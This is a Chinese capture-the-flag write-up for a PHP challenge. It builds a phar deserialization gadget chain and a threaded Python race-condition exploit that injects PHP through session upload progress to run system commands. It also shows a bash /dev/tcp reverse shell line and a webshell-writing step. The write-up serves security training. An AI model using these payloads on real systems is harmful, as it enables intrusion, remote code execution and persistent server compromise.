[DSACTF2022七月]ezgetshell【下】
目录
0x06解题过程
文件包含
通过特征我们知道本题就是考察我们phar反序列化的内容,通过文件上传phar文件,然后读取文件达到代码执行的目的
对代码分析,我们发现我们可以通过phar反序列化得到一个文件包含的地方,但是我们无法直接上传木马,因为会对木马进行过滤
通过file.php和show.php可以发现,每次都是开启session的,这个好像没有用,但是是明显的提示
到此,我们能搜集的信息就只有这些,当下可以先试着构造一条phpinfo的链来试一试:
if(end($arguments)=='phpinfo'){
phpinfo();
先构造一条可以到phpinfo的链:
这个构造也是十分清楚的,首先利用Upload()类下的__toString()
方法,要触发这个方法,只有在Text()
类下才行
也就是Text()类下的$str
,直接把它赋值为一个Upload对象,虽然人家创建的时候会给str一个值,但是我们可以后面覆盖呀, 我们创建它,然后给它新值,php的弱类型刚好可以发挥作用。
class Test{
public $str;
public function __construct(){ //类被创建的时候赋值
$this->str="It's works";
}
public function __destruct()
{
echo $this->str; //被销毁时echo $str
}
}
然后就是Upload类的__toString()
,这里让$fname
为下面的show类对象
function __toString(){
$cont = $this->fname;
$size = $this->fsize;
echo $cont->$size;
return 'this_is_upload';
}
它可以触发Show()类的__get
进而触发__call
方法,然后就可以调用phpinfo()
function __get($name) # 获取不存在变量或者私有变量就触发该魔术方法,name为这个变量的名字
{
$this->ok($name);
}
public function __call($name, $arguments) # 当调用不存在的方式时就调用该魔术方法,比如上面的ok函数,其中argument变量中存在这不可访问的name方法的参数
{
if(end($arguments)=='phpinfo'){ //提供更多的数据
phpinfo();
}else{
$this->backdoor(end($arguments)); //后门函数
}
return $name;
}
在这中间,fname
是对象名,也就是show对象,fsize
是参数,也就是“phpinfo”
写个简单的phar来获得一下phpinfo:
<?php
class Test{
public $str;
}
class Show{
}
class Upload
{
public $fsize;
public $fname;
}
$test = new Test();
$upload =new Upload();
$show = new Show();
$upload->fname=$show;
$upload->fsize="phpinfo";
$test->str=$upload;
@unlink("shell.phar");
$phar = new Phar("shell.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($test);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
用gzip压缩一下,来顺利通过过滤,然后修改为png上传(要知道phar本来就是可以压缩的)
Show类文件查看里没有禁止phar伪协议,直接查看就可以了:
/file.php?f=phar://upload/00bf23e130fa1e525e332ff03dae345d.png
// 注:shell.png的md5为00bf23e130fa1e525e332ff03dae345d
到此,我们就完成了一个重要的步骤,就是任意文件包含
在这里我尝试使用图片马来进行上传,然后通过上面的方法进行文件包含,但是很无奈,图片马被无法解析,而上传的文件也无法控制后缀,只能另外想其他办法来解决。
通过对phpinfo的信息分析我们发现
session保存位置不知道,默认为/tem下或者 /var/lib/php/session下。保存的名字就是sess_PHPSESSIONID,其中PHPSESSIONID是sessionid,这个id在session.use_strict_mode为off的时候是可以客户端伪造的,不过这个属性默认就是off,也就是说我们可以直接伪造一个sessionid来上传
session木马上传
使用一个libestor的sessionid(可以使用其他字符)
使用一个50k的文件(代码内准备)
创建一个包含/tem/sess_libestor的shell.phar文件,并压缩,然后改名为.png的文件
gzip shell.phar
上传shell.png
寻找web目录:/var/www/html/
编写脚本进行条件竞争(使用burp suite也可以)
脚本:
import sys, threading, requests, re
from hashlib import md5
#HOST = sys.argv[1]
#PORT = sys.argv[2]
HOST = "url"
PORT = "port"
flag = ''
check = True
# 触发phar文件反序列化去包含session上传进度文件
def include(fileurl, s):
global check, flag
while check:
fname = md5('shell.png'.encode('utf-8')).hexdigest() + '.png'
params = {
'f': 'phar://upload/' + fname
}
res = s.get(url=fileurl, params=params)
if "working" in res.text:
flag = re.findall('upload_progress_working(DASCTF{.+})', res.text)[0]
check = False
# 利用session.upload.progress写入临时文件
def sess_upload(url, s):
global check
while check:
data = {
'PHP_SESSION_UPLOAD_PROGRESS': "<?php echo 'working',system('cat /flag'); ?>"
}
cookies = {
'PHPSESSID': 'libestor'
}
files = {
'file': ('chaaa.png', b'cha' * 300)
}
s.post(url=url, data=data, cookies=cookies, files=files)
def exp(ip, port):
url = "http://" + ip + ":" + port + "/"
fileurl = url + 'file.php'
uploadurl = url + 'upload.php'
num = threading.active_count() # 返回当前存活的线程数量,不为0
# 上传phar文件
file = {'file': open('./shell.png', 'rb')}
ret = requests.post(url=uploadurl, files=file)
# 文件上传条件竞争获取flag
event = threading.Event()
s1 = requests.Session()
s2 = requests.Session()
for i in range(1, 10):
threading.Thread(target=sess_upload, args=(uploadurl, s1)).start()
for i in range(1, 10):
threading.Thread(target=include, args=(fileurl, s2,)).start()
while threading.active_count() != num: # 当线程状态回到开始前,就表示执行成功,然后结束程序
pass
if __name__ == '__main__':
exp(HOST, PORT)
print(flag)
在5-8行的地方可以根据自己喜欢的方式输入网站和端口,如果是pycharm可以一键执行就用第二个方便些,命令行执行就用第一个方式。网址是不带http://的
52-53行会进行shell.png的上传,已经上传,或者不需要上传可以注释掉。
0x07 如何getshell
单纯的获取flag已经不满足我们的要(ye)求(xing)了,我们尝试写入一句话到网站根目录中
我们有的
我们现在可以执行一条php指令(当然多写几条也是可以的)。
我们需要的
一个web可以访问的地址且可写
通过对当前目录执行ls -al发现web根目录只有root可写,但是upload目录是777的权限
冻手
反弹shell:
在exp.py的命令中再加入一条为system('bash -i >& /dev/tcp/xx.xx.xx.xx/55555 0>&1')
的指令就可以
然后再vps使用nc -lvvp 55555
就可以,不过不能反弹成功,这个受限于服务端是个容器,没有映射所有端口。
一句话木马:
-
简单的
最简单的方法就是通过file_put_contents函数直接写入木马然后运行:
file_put_contents('/var/www/html/upload/1.php' , '')
这个只需要在上面exp.py中的34行添加上去就可以
蚁剑轻松连接
-
复杂的
这个是通过一篇文章发现的
具体思路就是现在session木马中写入一句话木马1(密码1),
然后通过文件包含来包含这个木马,之后通过post这个文件包含来写入一句话木马2(密码2)到根目录或者可写目录下
然后完成一句话木马写入。
彩蛋:
-
环境变量中有一个flag,不过是错的(可能以前对过吧)
-
其实再第一步包含文件的时候就可以直接包含flag的,不用再去session上传进度注入,官方wp是有这一步session上传注入的
-
不会出题可以不用出,我谢谢了
参考文献:
[phar反序列化小结 | Lethe's Blog (ustc.edu.cn)](http://home.ustc.edu.cn/~xjyuan/blog/2019/11/13/phar-unserialize/#:\~:text=phar反序列化即在文件系统函数( file_exists () 、 is_dir (),等)参数可控的情况下,配合 phar://伪协议 ,可以不依赖 unserialize () 直接进行反序列化操作。)
利用 phar 拓展 php 反序列化漏洞攻击面 (seebug.org)
PHP Session.upload_progress - chalan630 - 博客园 (cnblogs.com)
【文件包含&条件竞争】详解如何利用session.upload_progress文件包含进行... - FreeBuf网络安全行业门户